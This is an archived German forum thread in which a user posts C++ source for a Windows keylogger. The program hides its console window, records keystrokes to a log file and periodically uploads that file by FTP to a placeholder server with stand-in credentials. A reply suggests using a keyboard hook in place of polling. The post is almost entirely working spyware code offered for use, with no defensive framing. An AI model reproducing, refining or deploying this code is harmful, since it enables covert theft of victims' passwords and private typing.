PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : FTP Keylogger



zzurc
08.05.2016, 18:27
raw:

clock_t startTime;
void WriteLog(LPCSTR text) {
ofstream outfile;
outfile.open("logs.txt", ofstream::app);
outfile << text;
outfile.close();
}
void sendtoFTP() {
clock_t endTime = clock();
clock_t clockTicksTaken = endTime - startTime;
double timeInSeconds = clockTicksTaken;
if(timeInSeconds > 30000)
{
HINTERNET hInternet;
HINTERNET hFtpSession;
hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL)
{
cout << "Error: " << GetLastError();
}
else
{
hFtpSession = InternetConnect(hInternet, "EINFTPSERVER.COM", INTERNET_DEFAULT_FTP_PORT, "name", "pass", INTERNET_SERVICE_FTP, 0, 0);
if (hFtpSession == NULL)
{
cout << "Error: " << GetLastError();
}
else
{
if (!FtpPutFile(hFtpSession, "logs.txt", "logs.txt", FTP_TRANSFER_TYPE_BINARY, 0))
{
cout << "Error: " << GetLastError();
}
}
}
startTime = clock();
}
}


bool KeyIsListed(int iGetKey) {
switch (iGetKey)
{
case VK_LBUTTON:
WriteLog(" *LeftM* ");
break;
case VK_RBUTTON:
WriteLog(" *RightM* ");
break;
case VK_CONTROL:
WriteLog(" *Ctrl* ");
break;
case VK_SHIFT:
WriteLog(" *Shift* ");
break;
case VK_RETURN:
WriteLog("\n");
case VK_SPACE:
WriteLog(" ");
break;
default: return FALSE;
}

}


int main()
{
ShowWindow (GetConsoleWindow(), SW_HIDE);
char key; //char for storing our keylogged key
while (TRUE)
{
Sleep(10); //wait 10 ms
for (key = 8; key <= 190; key++) //loop
{
if (GetAsyncKeyState(key) == -32767) {
if (KeyIsListed(key) == FALSE)
{
ofstream outfile;
outfile.open("logs.txt", ofstream::app);
outfile << key;
outfile.close();
sendtoFTP();
}
else {
}
}
}
}
return EXIT_SUCCESS;
}

gORDon_vdLg
08.05.2016, 18:55
Will ja nicht meckern, aber es gibt echt schönere Methoden als die Tasten zu pollen... z.B. -> https://msdn.microsoft.com/en-us/library/windows/desktop/ms644990%28v=vs.85%29.aspx
Naja und bei jedem Tastendruck das File per FTP uppen... KANN man machen =P

zzurc
08.05.2016, 19:14
jo